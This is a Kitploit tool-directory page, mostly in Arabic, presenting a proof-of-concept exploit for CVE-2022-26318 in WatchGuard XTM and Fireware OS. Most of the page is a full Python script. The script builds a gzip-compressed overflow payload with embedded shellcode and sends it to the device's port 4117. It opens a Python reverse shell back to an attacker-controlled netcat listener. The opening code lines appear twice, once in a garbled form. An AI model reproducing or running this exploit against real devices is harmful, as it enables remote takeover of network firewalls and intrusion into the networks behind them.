Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
watchguard_cve-2022-26318 — إثبات مفهوم لاستغلال CVE-2022-26318، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في WatchGuard XTM وFireWare OS، حيث يتم تسليم قشرة عكسية عبر طلب HTTP POST مُصمم خصيصًا. | Kitploit
أدوات/GitHubGitHub/misterxid/watchguard_cve-2022-26318
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubmisterxid/watchguard_cve-2022-26318

watchguard_cve-2022-26318

إثبات مفهوم لاستغلال CVE-2022-26318، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في WatchGuard XTM وFireWare OS، حيث يتم تسليم قشرة عكسية عبر طلب HTTP POST مُصمم خصيصًا.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
11912منذ 4 سنواتلم تتم المراجعة بعد

watchguard_cve-2022-26318

Watchguard RCE POC لـ CVE-2022-26318

#!/usr/bin/python3

-- coding: utf-8 --

CVE-2022-26318

import socket import ssl import gzip

Remote WatchGuard XTM or FireWare OS

R_HOST = "1.1.1.1"

Local host with nc listener: nc -l 8.8.8.8 8888

L_HOST = "8.8.8.8"

def buildPayload(L_HOST): payload = "agent.login<".encode() payload += ("A"*3181).encode() payload += "MFA>".encode() payload += (""*3680).encode()

watchguard_cve-2022-26318

Watchguard RCE POC لـ CVE-2022-26318

#!/usr/bin/python3
# -*- coding: utf-8 -*-

# CVE-2022-26318

import socket
import ssl
import gzip



# Remote WatchGuard XTM or FireWare OS
R_HOST = "1.1.1.1"
# Local host with nc listener: nc -l 8.8.8.8 8888
L_HOST = "8.8.8.8"


def buildPayload(L_HOST):
    payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
    payload += ("A"*3181).encode()
    payload += "MFA>".encode()
    payload += ("<BBBBMFA>"*3680).encode()
    payload += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/usr/bin/python\x00/tmp/test.py\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\x01\x00\x00\x00\x00\x00\x00'
    payload += 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/python","-i"]);'.format(L_HOST).encode()
    return gzip.compress(payload, 9)


def buildHTTP(L_HOST, R_HOST):
    http_payload = "POST /agent/login HTTP/1.1\r\n"
    http_payload += "Host: {}:4117\r\n".format(R_HOST)
    http_payload += "User-Agent: CVE-2022-26318\r\n"
    http_payload += "Accept-Encoding: gzip, deflate\r\n"
    http_payload += "Accept: */*\r\n"
    http_payload += "Connection: close\r\n"
    http_payload += "Content-Encoding: gzip\r\n"

    gzippedExploit = buildPayload(L_HOST)

    http_payload += "Content-Length: {}\r\n".format(len(gzippedExploit))
    http_payload += "\r\n"

    return http_payload.encode() + gzippedExploit


def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    wrappedSocket = ssl.wrap_socket(sock=sock, cert_reqs=ssl.CERT_NONE)

    server_address = (R_HOST, 4117)
    print('connecting to {} port {}'.format(*server_address))

    wrappedSocket.settimeout(3)
    try:
        wrappedSocket.connect(server_address)
        print("sending payload...")
        payload = buildHTTP(L_HOST, R_HOST)
        wrappedSocket.sendall(payload)
    except:
        pass

    finally:
        print('closing socket')
        wrappedSocket.close()


main()

تنزيل الأداة